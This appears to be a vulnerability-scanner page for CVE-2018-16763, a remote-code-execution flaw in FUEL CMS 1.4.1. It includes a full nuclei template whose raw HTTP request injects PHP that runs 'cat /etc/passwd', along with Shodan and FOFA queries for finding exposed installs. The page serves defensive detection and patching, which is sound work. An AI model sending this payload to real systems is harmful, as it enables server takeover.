FUEL CMS 1.4.1 - Remote Code Execution

criticalseverity

9.8CVSS score

82.9%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

FUEL CMS 1.4.1 allows PHP Code Evaluation via the pages/select/ filter parameter or the preview/ data parameter.

Impact

Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the target system, leading to complete compromise of the application and potentially the underlying server.

Fix

Upgrade to FUEL CMS version 1.4.2 or later, which includes a patch for this vulnerability.

How to confirm it

Send: GET /fuel/pages/select/?filter=%27%2bpi(print(%24a%3d%27system%27))%2b%24a(%27cat%20/etc/passwd%27)%2b%27
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2018-16763 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2018-16763

info:
  name: FUEL CMS 1.4.1 - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: FUEL CMS 1.4.1 allows PHP Code Evaluation via the pages/select/ filter parameter or the preview/ data parameter.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the target system, leading to complete compromise of the application and potentially the underlying server.
  remediation: |
    Upgrade to FUEL CMS version 1.4.2 or later, which includes a patch for this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/47138
    - https://www.getfuelcms.com/
    - https://github.com/daylightstudio/FUEL-CMS/releases/tag/1.4.1
    - https://nvd.nist.gov/vuln/detail/CVE-2018-16763
    - https://github.com/daylightstudio/FUEL-CMS/issues/478
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-16763
    cwe-id: CWE-74
    epss-score: 0.82937
    epss-percentile: 0.99675
    cpe: cpe:2.3:a:thedaylightstudio:fuel_cms:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: thedaylightstudio
    product: fuel_cms
    shodan-query: http.title:"fuel cms"
    fofa-query: title="fuel cms"
    google-query: intitle:"fuel cms"
  tags: cve,cve2018,fuelcms,rce,edb,thedaylightstudio,vkev,vuln

http:
  - raw:
      - |
        GET /fuel/pages/select/?filter=%27%2bpi(print(%24a%3d%27system%27))%2b%24a(%27cat%20/etc/passwd%27)%2b%27 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from